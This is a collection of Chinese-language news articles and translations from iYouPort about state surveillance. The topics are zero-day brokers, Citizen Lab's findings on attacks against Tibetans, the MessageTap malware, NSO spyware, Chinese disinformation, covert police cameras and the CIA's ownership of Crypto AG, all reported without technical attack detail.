政府的间谍行为

要多愚蠢的骇客黑市买家会去揭露他们的记者那里购买 0day？这种事居然就发生了！怎么回事？

「图」

「图」

供应商不知道存在的漏洞—被成为0day—它一直是一种热门商品。在零日状态下，一个可能为政府工作的黑客可以更容易地闯入目标的计算机或电话。如果 Apple 或 Google 甚至不知道他们的产品存在安全问题，攻击者就不必担心更新系统时漏洞被修复。

如今这个问题已经危险到令人作呕的程度。详见以下内容：

- 《可怜正义没有钱》
- 《恐怖的 0day 市场》
- 《危险：监控技术公司正在推动对零日漏洞的利用》
- 《零日漏洞和 CIA 黑客工具》

一个蓬勃发展的承包商、精品店和个体经纪人的行业正在四方寻求购买此类攻击，有时他们可以将0day 出售给政府客户。我们很少能看到一家公司如何尝试通过私人的一对一交易来获取这些漏洞。

我知道这些，因为公司试图从我这里购买零日。

看似有点不容易理解，我是一名记者，尽管我在网上的存在清楚地显示我在一家媒体公司工作，而一个代表一家位于沙特阿拉伯的公司的人来找我，并解释说他们希望购买零日漏洞。

“感谢并希望与您打交道，”这位知情人士称，他们曾为一家名为 Haboob 的网络安全公司工作，他在一封来自沙特阿拉伯号码的消息

中写道。

2月份在柏林举行的安全会议 Offensive Con 上，我做了我通常都会做的事，并发推文说我正在参加此次活动。我补充说：如果有人想谈论购买或销售零日，他们可以通过加密的消息传递应用程序 Signal 给我发短信。

这并不是一个不寻常的要求。在主板上，我们会定期覆盖零日行业，并依赖知情人爆料的资源。我们写的是该空间内的公司如何运作，他们的客户是谁，以及设备安全性的进步如何增加 iPhone 等设备的零日价格和稀缺性。

从我的 Twitter 帐户中也可以清楚地知道我是为媒体公司主板工作的。我所有的推文都是坏笑话或信息安全新闻。

但显然 Haboob 的某个人并没有接受这一点。

“你好啊 Joseph。我看到了你的推文，我们非常有兴趣购买零日，以及在这个领域招聘并与有资源的人沟通，“这位 Haboob 代表，他自称是’A’，他发来的消息就是这样写的。

A将该公司描述为网络安全的“领导者”，为所有部门提供“网络安全服务”。

当被问及 Haboob 服务的目的是什么时，A回答说“是为了防御和进攻”。

“我们也在招聘市场上最好的研究人员，”A补充说。

熟悉该地区网络安全行业的两位消息人士表示，**Haboob** 与位于阿联酋的网络安全公司也就是臭名昭著的 **DarkMatter** 有联系。消息来源均采取了匿名，以便人们可以坦率地谈论一个秘密行业。

在公开场合，**DarkMatter** 吹捧其防守产品。但是私下里，**DarkMatter** 是进攻性黑客攻击操作和监视的一部分。

在一份声明中，DarkMatter 否认与 Haboob 有关。

该声明补充说：“所引用的三份报告中所提出的证据也被 DarkMatter 首席执行官 Karim Sabbagh 驳斥，’我们从来没有，也不会经营或管理针对任何国籍人士的非防御性网络活动’。

但是在 Haboob 的网站上，该公司列出了两所沙特大学以及该国的教育部作为客户。

“我们受到几家当地公司和政府部门的信任，以保护他们的网络并保护他们的数据，”Haboob 的网站上写道。

但在关于零日的谈话中，A拒绝确认 Haboob 是否与政府合作。

Haboob 没有回应评论请求。 DarkMatter 也没有。

当我试图延长对话时间时，我说我有一段时间没有和该地区的任何人说过话了，A回答说：“好吧，我们就在这里:)。”

A Saudi Cybersecurity Company Tried to Buy Zero Day Exploits from Me. We recently got a rare look at how a company tried to source these exploits through private one-on-one deals—because the company came to us.

原文

中国成为针对不同政见者骇客攻击领域的新玩家 - iYouPort

政府的间谍行为

公民实验室详细介绍了针对使用 iPhone 和 Android 智能手机的知名藏人的最新骇客攻击活动。

「图」

「图」

根据一份新的报告，骇客试图闯入多名藏人的 iPhone 和 Android 设备，其中一些受害者在达赖喇嘛办公室、西藏中央政府和藏族议会工作。

骇客使用为 iOS 和 Android 操作系统开发的漏洞利用程序和间谍软件，并试图通过 WhatsApp 发送精心制作的网络钓鱼信息以传播这些间谍软件，根据报告，这些恶意行为者假装成记者、非政府组织工作人员、以及藏族人权组织的志愿者。

该报告由数字权利组织公民实验室（Citizen Lab）发布。

研究人员得出的结论是，此次攻击活动是由针对居住在中国的维吾尔族人口的同一个骇客组织发起的。

8月底，谷歌详细描述了一场针对穆斯林少数族裔的令人震惊的攻击运动，攻击者利用的是当时的0day。

「图」

「图」

攻击者与受害者之间的对话示例

“一般而言，这种对公民社会的针对性攻击的一个问题是：谁的技术

正在帮助恶意行为者闯入持不同政见者的手机？长期以来，**NSO** 集团和他们臭名昭著的 **Pegasus** 似乎是该领域唯一的玩家，但是，现在我们看到了一个新出现的、与中国有联系的玩家，正在崭露头角”。

- 《关于以色列和NSO》
- 《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》

调查这次攻击事件的首席研究员 Bill Marczak 在一次采访中说，“他们[中国玩家]显然有点毛糙：他们使用稍微过时的漏洞利用来捕获那些更新不够及时的人，而且他们不一定会追踪电话上的“一切”。

公民实验室看到了15次攻击尝试；尽管有些受害者点击了恶意链接，但没有人真正被入侵，因为他们的手机更新都比较及时。

Citizen Lab 追踪的攻击活动似乎与 Google Project Zero 所揭示的攻击活动重叠，后者揭示了多个iOS零日的使用；以及安全公司 Volexity 的详细描述，确定了多个用于传播 Android 恶意软件的网站。

公民实验室说，“我们确定这三个攻击活动可能是由同一操作者或具有共享资源的紧密合作的团队进行的”；

“这些事件表明，对移动设备的利用需求不断增长。从对手的角度来看，推动这一需求的因素是显而易见的。移动设备是大多数人的在线生活，民间社会组织利用它来组织动员，智能手机内部的数据展示了所有这一切的全景图”。

Google 最初拒绝评论，然后发送了以下声明：“我们与 Citizen Lab 合作进行了这项研究，并赞赏他们为提高所有平台的安全性所做的努力。如报告中所述，这些问题已得到修补，不再对使用最新软件的用户构成风险。”

苹果公司发言人发表了以下声明：“客户的数据安全性是苹果公司的重中之重，我们非常重视与 Citizen Lab 等安全研究人员的合作。该报告中详细介绍的iOS问题已由Apple的安全团队发现并修复。我们始终鼓励客户下载最新版本的iOS，以获取最佳和最新的安全性增强。”

这不是结束，大概只是一个开始。

⚠中国作为零日攻击领域的新玩家，不一定会在一夜之间赶超以色列的 NSO，但是无疑会不断进化；与此同时请记得，NSO 的间谍软件

销售并不会顾及地缘政治关系 —— 他们一直在把产品卖给出得起钱的任何人。

限于本案例（或者说限于当前短时间内），中国敏感人士应该注意至少以下三点：

- 在互联网上联系你的陌生人，如果对方声称自己是NGO、记者或权利组织志愿者，在确认对方的真实身份之前不要相信不要点击他们传递的任何信息 —— 加密通信群组同样鱼龙混杂，切勿忽视作为人性骇客的社交工程攻击；
- 及时更新你的系统和软件，不要嫌麻烦；
- 让操作安全进入习惯，保持警惕，至少做到这篇文章中提醒的注意事项《移除你的绵羊墙：给普通人的5个防御课程》

关于操作安全，IYP 此后还将介绍更多详细知识。⚠只要你还在使用数字设备，就必须小心；并无所谓你的民族身份。〇

Hackers Tried to Compromise Phones of Tibetans Working for Dalai Lama

原文

中国黑客开发了恶意软件从电信网络中窃取短信 - iYouPort

政府的间谍行为

中国黑客的针对性攻击能力正在加强。**MessageTap** 恶意软件旨在安装在电信网络上的短信服务中心（**SMSC**）服务器上 **……**

「图」

「图」

中国的一个国家赞助的黑客组织已经开发出一种特定的 Linux 恶意软件，可以从移动运营商的网络中窃取SMS消息。

该恶意软件旨在安装在短信服务中心（SMSC）服务器上，这是移动运营商网络中处理短信通信的服务器。

美国网络安全公司 FireEye 表示，今年早些时候在移动运营商的网络上发现了该恶意软件。

MessageTap 是如何工作的？

FireEye 分析师表示，黑客闯入了一家电信公司（未指名）并将这个名为 MessageTap 的恶意软件植入了该公司的 SMSC 服务器上，该恶意软件将在其中侦听传入的所有SMS消息，并应用一组过滤器。

首先，如果SMS消息的正文中包含特殊的关键字 [也就是黑名单上的关键字]，则 MessageTap 会将该SMS消息挑出来。

FireEye 说：“该关键字列表包含了中国情报收集在地缘政治方面的兴趣”；““其例子中包括政治领导人、军事和情报组织、以及中国政府不喜欢的政治运动的名字等。”

其次，如果短信是发送给特定电话号码的，或从具有特定IMSI唯一标

识符的设备上发送的，那么 MessageTap 也会将它挑出来。

FireEye 说，该恶意软件一次跟踪数千个设备的电话号码和IMSI代码。

该公司的分析师将该恶意软件与一个名为 APT41 的相对较新的中国黑客组织联系了起来 [PDF报告]。

FireEye 在上一份报告中表示，APT41 与其他中国组织不同，因为除了进行出于政治动机的网络间谍活动外，该组织的成员还进行了出于经济目的的黑客攻击，很可能是出于个人利益。

此外，FireEye还从被黑的电信网络中发现证据，表明 APT41 与移动运营商的呼叫详细记录（CDR）数据库进行了交互，该数据库存储了大量通话历史记录元数据。

FireEye 表示，APT41 查询了“与中国情报部门感兴趣的外国高阶人士相关的呼叫详细记录”。

中国黑客的行动正在发生变化

从整体上看，在中国网络间谍活动的宏伟计划中，这一运动的发现意义重大。

在过去的几年中，中国的黑客组织以其打砸抢的方法而闻名，他们强行入侵目标并窃取尽可能多的数据，以便日后进行分析。

而 APT41 的作案手法显示了一种针对少数目标的精心策划且目标明确的监视行动。

这与中国黑客组织过去的做法不同，但如今看来已成为常态 。

总的来说，中国的黑客组织现在在针对性攻击方面变得非常擅长，这与人们通常从美国或俄罗斯的攻击中所看到的情况基本相当。

顺便说，FireEye 的报告还确认了2019年6月的 Cybereason 报告，后者发现中国政府黑客已入侵了至少十家外国移动运营商的网络。〇

Chinese hackers developed malware to steal SMS messages from telco’s network

原文

以色列的间谍软件被发现用来监控国际人权组织员工 - iYouPort

政府的间谍行为

公私监控伙伴关系有着悠久的历史和巨大的利润，这就是为什么无法对间谍工具的市场和销售进行有效监管

「图」

「图」

人权组织周三表示，大赦国际的一名员工成为了以色列制造的监控软件的目标。这些以色列技术的监视工具正在被越来越多地用来针对性监视中东及其他地区的人权工作者和反对派人士。

在一份长达 20 页的报告中，大赦国际概述了一名攻击者在六月初试图闯入一名身份不明的权利组织工作人员的智能手机，并通过 WhatsApp 发布关于沙特驻华盛顿大使馆前抗议活动的消息，以引诱该员工点击。

这家总部位于伦敦的人权组织表示，他们追溯该消息中的恶意链接，结果发现了与 NSO 集团有关的网站。

延伸阅读：《//"最新报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯"//？》

NSO 集团是一家涉嫌进行一系列数字攻击的以色列监控技术公司，其中明显有很多危害异议人士的活动，包括打击墨西哥异议人士、试图侵入阿拉伯持不同政见者的电话等备受瞩目的恶行，后者引发苹果公司的操作系统更新。（这里有个视频）

「图」

「图」

延伸阅读：近五年来，全球被披露的最大规模的监视社会行为有两个案例最瞩目，一个就是美国的棱镜计划，另一个就是墨西哥，使用以色列的入侵工具监控异议人士。这篇文章有介绍《//"政府间谍软件监控公民行为举世瞩目，为什么墨西哥当局至今没有调查进展？"//》

大赦国际技术和人权主管 Joshua Franco 表示，最新发生的政府级骇客行为，是全球活动人士面临的数字风险增加的象征。

大赦国际的调查结果得到了互联网监管机构加拿大 Citizen Lab 的证实，公民实验室一直在跟踪 NSO 间谍软件已两年。

公民实验室在周三公布的报告中表示，到目前为止，已经统计到了全球约有 175 个 NSO 间谍软件的目标，其中包括巴拿马的 150 人，这是围绕该国前总统的大规模国内间谍丑闻的一部分。

国际特赦组织在沙特阿拉伯发现了另一名人权活动家，遭遇 NSO 的间谍软件监控，其状况和国际特赦组织的员工的经历一样。公民实验室表示，他们还发现了与卡塔尔或沙特有关的类似政府级骇客企图的痕迹，显示在海湾其他地方也存在使用以色列间谍软件的状况。

任何使用以色列的技术去监视持不同意见人士的做法，都会给以色列带来令人不安的问题。以色列仍然认为自己是该地区的民主堡垒，对于与犹太国家没有正式外交关系的国家也是如此。

大赦国际的 Franco 指出：全球监视市场是一个大规模的黑箱，没有监管，存在严重的滥用。

延伸阅读：//"公私监控伙伴关系"//有着悠久的历史和巨大的利润，这就是为什么无法对间谍工具的市场和销售进行有效监管。

原文

以谣言为武器？ - iYouPort

关于高堡奇人地缘政治政府的间谍行为

实际上社交媒体是比传统的媒体更有利的战略性欺骗武器，对其操纵者来说。北京在这方面所做的可能比你想象的要更大、或更”成功”。它引起了谁的注意？...

「图」

「图」

IYP 将在后面的文章中详细介绍“战略性欺骗”。实际上社交媒体是比传统的媒体更有利的战略性欺骗武器，对其操纵者来说。因为它看起来就像是“独立的”、“民意的”，比那些受政权和寡头企业控制的媒体所产生的效果更进一步。北京在这方面所做的可能比你想象的要更大、或更“成功”。

当然，这里指的是一种更简单的而且是更常见的欺骗攻击。但它随时都有可能变得危险。

一份新的报告称，中国的进攻性社交媒体欺骗“业务”是一个沉睡的巨人，与俄罗斯那种模式不同，西方社交媒体公司可能还没有为此做好准备。

这份由网络安全研究公司 Recorded Future 公布的报告对俄罗斯和中国的虚假信息操作进行了比较。

中国高达18%的社交媒体帖子是针对本国公民的政府宣传。并且有很多人在从事这项工作。有多少？首先，回想一下，在2016年大选前后试图影响美国选民的俄罗斯巨魔农场最多雇佣了600名员工。根据 Recorded Future 报告引用的不同学术机构的研究，对中国的欺骗业务规模的估计会有所不同，其中一项研究估计超过50万人。

但是，北京是在对自己的人民采用这种充分的欺骗攻击，并不一定想要试图影响西方。至少目前为止看起来是这样。

Recorded Future 的研究员 Priscilla Moriuchi 表示，中国政府几乎完全控制了互联网领域，这使得“技术对于他们自己的国内信息环境来说相对独特。在美国平台上以英语针对美国人发起欺骗攻击时，中国人不使用那些微博上的技巧。他们针对美国人的目标是不同的。“

至少就目前而言，北京的社交媒体影响力运营目标是将中国描绘成世界舞台上的积极参与者，并在贸易等大型政治讨论中倡导中国的利益。这听起来像许多国家都在做的事。

但 Moriuchi 指出中国的信息活动和简单的营销之间的区别。“影响力是扭曲的新闻和信息……它的战略目的是改变美国人的观点。”

她说“一个典型的例子就是他们如何描述中国的新疆省”，政府正在打击穆斯林。“如果你在社交媒体上阅读中文内容，你只能看到诸如维吾尔人很高兴、很满足，这类的东西。”

中国政府的活动在很大程度上未被美国人所察觉，因为它主要是为了塑造世界对中国的看法。但研究人员的数据显示，中国社交媒体帖子在实现目标方面非常有效。他们报告称，只有两个中文个人资料的用户在同一平台上就实现了“整个俄罗斯 IRA 相关的广告系列观众参与度的大约六分之一”。

那么，如果北京下令其 trolls 劳动力影响美国人，比如说，美中紧张局势是否会上升呢？不难想象它会破坏美国的政策甚至是美国政府。

西方社交媒体公司是否准备好抵御侵略性的外国影响力了呢 ？本周在 RSA 网络安全会议上讨论了这个话题。Moriuchi 说她认为西方为此作出准备之程度的等级为 D.

当被问及美国国土安全部如何跟踪非俄罗斯社交媒体账户时，美国国土安全部网络安全和基础设施安全局局长 Christopher Krebs 只是回答说：“这是一个活跃的空间，只会变得更加活跃。”

政策制定者已经通过立法做出了回应，例如参议员马克华纳（D-Va）的“诚实广告法”（Honest Ads Act）。法案规定，购买电视政治广告的相同法律也应涵盖在社交媒体平台上的广告方面。Facebook 安全负责人 Nathaniel Gleicher 告诉 RSA 的观众，该公司支持该措施。

虽然 Facebook，Twitter 和其他巨头已经强调了他们为更好地解决外国错误信息问题而采取的最新措施，但作者和新美国高级研究员 Peter Singer 形容他们正在努力克服 Kübler-Ross 模型的悲伤阶段。

他说，在坚持否认存在任何问题之后，这些公司现在已进入讨价还价阶段，试图表明他们对解决这个问题的态度是多么“真诚”。

目前还不清楚政府机构能做些什么。该活动不同于中国的黑客活动，不会引发执法反应。美国国务院的全球参与中心有抵御外国影响力的工作，但它们只是针对俄罗斯 trolls 行动的一小部分，更不用说中国的 trolls 了，而且它们在美国的法律限制下能做的有限。

此外，中国和俄罗斯的错误信息活动都不符合美国人的同类做法。纽约大学斯特恩商业与人权学院发布的一份新报告发现，美国人是美国社交网络上错误信息的最大创造者。

这是政府机构特别有限的领域。前总统网络安全协调员 Rob Joyce 承认问题很严重，但他说他无法“想象[政府]真理部。”

中国人自己受这种欺骗攻击的影响有多深？也许可以提供一个持续的定期问卷调查呈现一些反馈。我们需要这类独立的调查数据，以便为制定解决方案提供更多清晰的依据。

顺便说 ，库伯勒-罗丝模型的五个阶段包括：

- “否认”：“不会吧，不可能啊！”“不是一直以来都好好的吗？”
- “愤怒”：“为什么是我？这不公平！”“我能怪谁啊？”
- “讨价还价”：“让我活着看到***就好。再给我几年时间吧！”“如果能实现***，我什么都愿意做。”
- “抑郁”：“唉，干嘛还要管这些事啊？反正我都要死了。”“我不想活了，活着还有什么意义。”
- “接受”：“好吧！既然我已经没法改变这事了，我就好好准备后事吧！”

在中国 ，部分中产阶级处于“讨价还价”阶段，部分底层处于“抑郁”阶段，虚无主义者处于“接受”阶段。对于个人体验来说它是动态的，而且只向下流动。

The West Isn’t Ready for the Coming Wave of Chinese Misinformation: Report. Beijing’s social-media operations are larger and more effective than many realize.

原文

你知道哪里有间谍吗？闹钟、树干、婴儿车、墓碑 …… 以上都是 - iYouPort

公私监控伙伴关系政府的间谍行为

这些家伙还提供隐藏在儿童汽车座椅和吸尘器中的监视相机 …… 还有更多神奇的东西。这篇揭露帮助您了解政府间谍正在使用什么样的装备

「图」

「图」

墓碑监视器在这个所谓的黑皮书上的快照

与FBI、DEA和ICE等政府机构合作的监视技术供应商正在向各地警察部门推广间谍技术能力，其中包括隐藏在墓碑内的、婴儿汽车座椅里的和吸尘器中的监视摄像头。

它们的宣传册重点介绍了专门提供给执法机构的一些功能，从不可思议到直截了当的离谱。

“我认为我最大的担忧之一是这些设备的成本/大小/能力。它们一直在变的更便宜、更小、功能更强，而且不太可能只有执法部门才会使用这些监视设备，” 政府问责组织 Open The Government 的政策分析师 Freddy Martinez在 一封电子邮件中告诉 Motherboard，他通过公共记录请求获得了这本小册子。

该公共记录请求是向加州尔湾警察局提出的。政府透明度非营利组织 MuckRock 的 Beryl Lipton 也通过FOIA申请获得了这些文件。

「图」

「图」

墓碑监视器在这个所谓的黑皮书上的快照

这本小册子背后的供应商 Special Services Group 并没有公开宣传其产品。该公司的 logo是在1美元钞票背面的上帝之眼金字塔标志， 于是有人甚至怀疑它与 “光明会” 有联系，该公司的口号是 “保持警惕”。

该公司是如此隐秘，当被要求对这个报道发表评论时，他们威胁说，“如果发表这篇文章他们将采取法律行动”。

从第93页开始，可在此处找到该手册。

“由于客户的重要使命，我们选择不将产品信息放置在我们的网站上。请使用我们网站的联系方式索取更多信息，” 该公司的网站写道。

Special Services Group 在其网站上表示，它是服务于执法和政府机构的，但不一定是仅仅服务于这些机构，该网站补充说，它也适用于“其他客户”。

这本小册子的作者将其称为“黑皮书”，其中包含监视设备的丰裕之角。

“Tombstone Cam 是我们最新的隐藏式视频捕获器，提供了从墓地进行远程监控的能力，” 黑皮书的一个部分写道。这款设备还可以捕捉音频，其电池可以持续两天，

“Tombstone Cam是完全便携式的，可以根据需要方便地从一个地点移动到另一个地点，”该手册补充道。

另一款产品也是一款视频和音频捕捉设备，看起来就像闹钟，适合“酒店房间里”，而其他的监视摄像头则被设计成小树干和石头一样的样子，宣传册上写道。

“Shop-Vac 隐蔽式 DVR 记录系统” 本质上是一个隐藏在吸尘器内的监视摄像头和**1TB**硬盘驱动器。“一个交流电源连接器可用于长期部署，也可使用直流电源选项，用于移动部署”，该宣传册上写道。

描述中并没有说这个吸尘器本身是否可以吸尘。据 Quartz 此前的报道，这似乎是DEA美国缉毒局在2018年从 Special Services Group 购买的相同或类似产品。”

该公司的 “快速车辆部署套件” 之一包括隐藏在婴儿汽车座椅内的监视摄像头。该描述补充说：“这一系统是完全便携式的，因此您不必

局限于每次任务都使用同一辆自动驾驶汽车。”

- 关于疫情如何导致了对自动驾驶汽车的推动，见《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

「图」

「图」

SHOP-VAC COVERT DVR 监视系统在这个所谓的黑皮书上的屏幕快照

所谓的“ K-MIC 口内麦克风和扬声器套件” 是一种微型蓝牙设备，它安装在用户的牙齿上，允许他们在 “拥挤，嘈杂的环境中免提交流” 和 “接近零的视觉指标”，黑皮书补充道。

其他产品包括更传统的监控摄像机和镜头，以及秘密进入建筑物的工具。

该宣传册上写道，“ Phantom RFID 开发工具包” 使用户能够克隆出门禁卡或钥匙卡，所谓的 “Shadow” 产品可以 “向用户秘密提供验证 PIN码”。

当 Motherboard 要求 Special Services Group 发表评论时，该公司没有回应。但不久之后，代表该公司的一名律师写了一封措辞激烈的法律邮件，要求 Motherboard 不要报道该宣传册。

这个律师声称，这本小册子受《国际军火贩运条例》（ITAR）的保护，这是一套管制弹药出口的规则，也声称版权。

“本文件所包含的信息可能包括受版权保护的材料、商业机密信息和/或受版权限制的信息，其发布可能将使发布方承担民事甚至刑事责任，我们将在美国法律允许的最大范围内协助起诉。” —— 该电子邮件的这一部分用黑体和大写的方式写道：“任何蓄意散布、协助和/或发布此信息的人均违反法律，”

这位律师向透明度非营利组织 MuckRock 发送了一封单独的邮件，同样威胁要采取法律行动。

该律师表示，如果 Motherboard 发表这篇文章，将使执法部门面临风险。它提出了 “最近的国际事件”，或许是指伊朗紧张局势的加剧。

请注意，该律师没有提供任何细节或证据来支持关于公布该公司销售的监视设备清单会使任何人陷入危险的说法。

“虽然我理解对政府透明度的渴望，但信息的发布可能会导致非常严重地危害到执法部门和军事用户的生命安全， …. 如果你执意于此，并协助传播此信息给更多的公众，你将承担责任，” 这个律师写道。

在向公众公布这些信息时，尔湾警察局请了一家名为 Rutan & Tucker 的律师事务所进行了全面的信息披露审查。律师决定，出于安全原因，需要对一些与 Special Services Group 无关的单独文件进行编辑或保留，但最终确定，这个黑皮书是可以安全发布的，而且发布它符合 “公众利益”。

这家间谍设备公司 Special Services Group 与众多政府机构都有关系。根据公开采购数据，该公司总共与超过两个政府机构达成了价值约260万美元的交易。

2014年，美国特勤局向 Special Services Group 支付了"超过820000美元"，用于购买 “移动视频平台工具包”。

记录显示，国税局（IRS）几年来向该公司支付了超过一百万美元的监控摄像机费用。记录补充说，该公司还向**ICE**出售了**GPS**追踪器。

2017年，该公司为加利福尼亚的波特维尔警察局提供了监控摄像机的报价。

Special Services Group 的联合创始人兼首席执行官 Cliff Emery 担任国防工业协会（NDIA）华盛顿分会的董事会成员。Special Services Group 也在各种备受瞩目的执法展会上展出，例如英国的年度安全[维稳]和警务活动展会。

这本宣传册和该公司诸多成功的政府合同表明，尽管这些监视设备非常不寻常，但是，执法部门对秘密监控设备肯定是很有胃口的。

这本小册子还反映了英国监控技术厂商 Cobham 公司的另一个产品，其中包括一个装在垃圾桶内的监视摄像头。〇

This Secretive Surveillance Company Is Selling Cops Cameras Hidden in Gravestones

原文

全球暴行的同谋者 - iyouport

关于高堡奇人政府的间谍行为老大哥的真面目

【2020年8月13日存档】这件事已经持续了半个世纪，比斯诺登的文件还要更大。现在它被揭露了，但却没能获得人们足够的关注。人们已经不再惊讶 …… 这是为什么？

关于美国全球监视行动范围的另一个惊人发现，《华盛顿邮报》最近发表了一篇有关瑞士公司 Crypto AG 的文章，该公司实际上是美国中央情报局和西德情报局所有的。

数十年来，**Crypto AG** 为全球一百多个政府提供加密服务。这些政府不知道，中央情报局可以访问该加密工具，因此可以读取来自法国、埃及、委内瑞拉、和许多其他国家的高层政府内部通信。

Truthdig 的总编辑 Robert Scheer 与在国家安全局工作了30年的领先情报专家 William Binney 谈到了这一令人震惊的信息，直到现在，这些信息才被公之于众。

在交流中，Scheerr 强调了为什么这一揭露令人担忧，不仅因为它已经存在了数十年，而且还因为其历史意义。

“据我所知，这意味着，在美国政府中直到总统的高层人士，都会知道其他任何社会的每一次暗杀企图、每一次恐怖袭击、每一次酷刑、以及所有所做的一切 —— 就像我说的，是沙特阿拉伯、埃及、委内瑞拉、危地马拉等等。” Schee 说。

“我们了解他们在做什么，他们在密谋什么，而我们是同谋 —— 他们将要杀死某人或折磨人们 —— 而我们不去干预，决定忽略它？”

Binney 说，“我当然会同意。是的，他们负有不采取行动阻止这些事件的责任，是的。”

当 Scheer 要求 Binney 解释 Crypto AG 业务的基础时，这位前NSA特工直言不讳。

他说："这是试图让其他人购买您所构建的加密系统的标准操作，因为这意味着您从根本上拥有它们。"

这种形式的 "所有权" 是美国国家安全局举报人爱德华·斯诺登向全球公众透露的关于美国对其本国人民以及盟国领导人安格拉·默克尔的监视程度的泄漏文件之一。

对于长期从事情报工作的 Binney 来说，他对美国监视行动有独特的见解，这个报道同时指出了美国如何看待自己的更大问题。

" [美国对自己的想法]来自牛仔电影，" Binney 说。"我们是白帽。我们永远都是对的，其他人都是错的，我们做正确的事，他们做错事。"

他后来说："这是情报伪善的一面，从司法部、联邦调查局和警察执法部门的角度来看，其他间谍对我们的所作所为是不好的，但是我们对其他人做同样的事却是好的。因为我们是好人。毕竟，我们将努力维护世界和平。实际上，我们最终付出了更多，卷入更多战争，而这些战争似乎永无止境。

"我们在思维方式上有双重标准；他说，美国政府的行动遭到了严厉谴责。

—— 以下是这份对话的笔录 ——

Robert Scheer ：嗨，这是 Robert Scheer ，新一版的 "谢尔情报（Scheer Intelligence）"，情报来自我的客人。

William Binney 在加入国家安全局（National Security Agency）之前曾是美国军方的密码破解专家，在那里他从事情报工作超过30年，最终成为情报技术负责人。

我之前曾经和 Binney 先生谈过，但现在我特别感兴趣，因为《华盛顿邮报》有一个新报道，这是一个很棒的调查报道，他们与德国消息来源、瑞士消息来源等等机构合作。

这项监视计划已有几十年的历史了；它一直持续到2018年，再追溯到1970年，也许是一个更长的计划，几乎是跨半世纪的计划，甚至可以追溯到第二次世界大战之后。

这是关于一家名为 Crypto AG 的公司。在德国统一之前，这家公司归中央情报局和西德情报局所有。

他们所做的基本上就是提供加密工具，回到有互联网之前的早期工具，但最终有了非常复杂的程序，以允许政府为这项服务付费 —— 我认为世界上大约有123个政府付费使用；其中不包括中国或苏联，因为他们对该计划持怀疑态度。

但是，这家总部位于瑞士的公司提供了加密功能，表面上这意味着各国政府可以保持与外国大使馆和安全机构的私密通信往来。

包括埃及、希腊、意大利和法国等政府。而真正的问题是，这种情报收集是否占据了所有这些政府沟通的一半左右，而且影响深远，几乎与是否购买了该加密技术无关（也就是说交流双方都被监视了）。这似乎是准确的，基于CIA的报告。

因此，我想，您知道，谁能比国家安全局的资深人士更合适向我解释这一点呢？国家安全局与中央情报局实际上共同拥有了这家监视着全世界每个政府的公司。所以，告诉我您所知道的，William Binney。

William Binney：好吧，我认为这是试图让其他人购买您所构建的加密系统的一种标准操作。 [笑] 因为这意味着您从根本上拥有它们。

这是任何国家的情报服务都知道的基本原则 —— 是的，您永远不应该从外国购买加密技术或加密情报。

您可以自己发明加密技术并控制您所在国家/地区的所有信息。否则你就不会得到安全。

这只是意味着，如果您从海外购买这种东西，那么您所拥有的基本通讯以及在何处使用它，就会被拥有该加密技术的其他国家/地区的情报机构阅读，比如国安局或中情局。所以 ……

RS：是的，但是他们在撒谎。等一下。表面上，这是一家私营公司，并且还与该国的摩托罗拉和德国的西门子公司签有合同。而这些都是深度机密。

因此，这些国家（例如埃及）或世界上任何其他国家，都不知道这种用于加密其信息的设备实际上是由外国政府情报机构（中央情报局、国家安全局）制造的。

之所以提出这一点，是因为我们正在就华为参与新的5G网络建设方面做出重大努力。允许华为制造意味着中国政府可以通过它们获得访问权 —— CIA和NSA以及最高层的人们一直都知道这一点。

WB：是的。拥有智能情报机构的国家都对此心知肚明，这是一种标准做法，即其他情报机构设立了幌子公司，这就是为什么在获取重要信息时必须非常小心的原因。

因为您正准备引进其他国家可入侵的后门。

换句话说，如果您通过交换机（或服务器）等类似的东西导入重要材料，把这种加密技术嵌入到系统中，那么您的系统就已经变成他们的系统了。

这就是为什么他们谈论华为5G的原因，因为这是中国系统在我们系统中的嵌入，然后为他们中国人提供了访问权限 —— 这是我们几十年来一直在做的事，并且这项计划已有50多年的历史了。

RS：是的。而且，我们所讨论的都是基于CIA内部报告以及德国情报报告的描述，所引入的系统都是通过 Crypto 公司为 CIA、NSA设计的后门，对其进行解码，阅读材料，其设计目的是易于被美国情报部门渗透。

这就意味着，最高级别的美国政府对每一次暗杀都了如指掌 —— 他们以暗杀为例 —— 例如，拉美独裁者下令。全世界政权都在折磨人民、杀死人民、推翻其他政府。所有这些都是美国政府最高层实时了解的。也许您会觉得它不像我所暗示的那么令人兴奋或重要？

WB：不不，我不是这么说的。我只是说，这种做法是由**CIA**和**BND**建立这样的幌子公司，他们本应该将 **Crypto** 的名字改为 **CIA / BND**。

那就是他们应该拥有的东西 —— 人们从他们那里买的，是在这两个情报机构的共同努力下促进的购买。这是一种标准的情报惯例，至少从第二次世界大战开始就已经存在。所以你知道，在情报方面这并不是什么新鲜事。

因此，对于《华盛顿邮报》的许多记者来说，这也许是一个令人惊讶的东西，但是在情报界，这只是标准做法。

还有一点我认为他们没有充分强调，这实际上比其他任何东西都重要，只要您能意识到您的公司之间的任何私密通信都不再私密 —— 你就应该知道，你本来就不应该从外国或在国外的公司购买加密技术；就是中国和俄罗斯的做法，自己控制这一过程 —— 保证你的一切想法和社交关系是私密的。

因此，我认为它在这方面的影响要大得多。

RS：但我的意思是 …… 好吧，您想让这种事听起来很常规，但是您的视角是在NSA内部的……

WB：嗯，对于我们工作来说，这就是很常规。

RS：是的，但我要说的是，美国几乎没有人知道50年来我们的政府一直在监视盟国，甚至监视世界上每个政府。

而且您知道，当爱德华·斯诺登（Edward Snowden）透露德国的安吉拉·默克尔（Angela Merkel）的电话一直在受到您供职的间谍机构的监视时，我们都感到很震惊。

在我看来，这似乎使几乎全世界所有政府都受到了更广泛的间谍活动——尤其讽刺的是，中国和俄罗斯除外，他们是如此地怀疑，他们拥有自己的加密工具。

但是事实是，你知道，Bobby Ray Inman ，你为他工作过，不是在国家安全局（NSA）吗？还是中央情报局？

WB：是的，我在那里工作的时段里他是负责人。

RS：好吧。他为此吹牛说，这是所有政变中最大的。但是，据我所知，这意味着在美国政府中的高层人士直到总统，都会知道其他任何国家所做的每一次暗杀企图，每一次恐怖袭击，每一次酷刑，就像我说的，是沙特阿拉伯、是埃及、是委内瑞拉、是危地马拉。我们知道他们在做什么，他们在密谋什么。

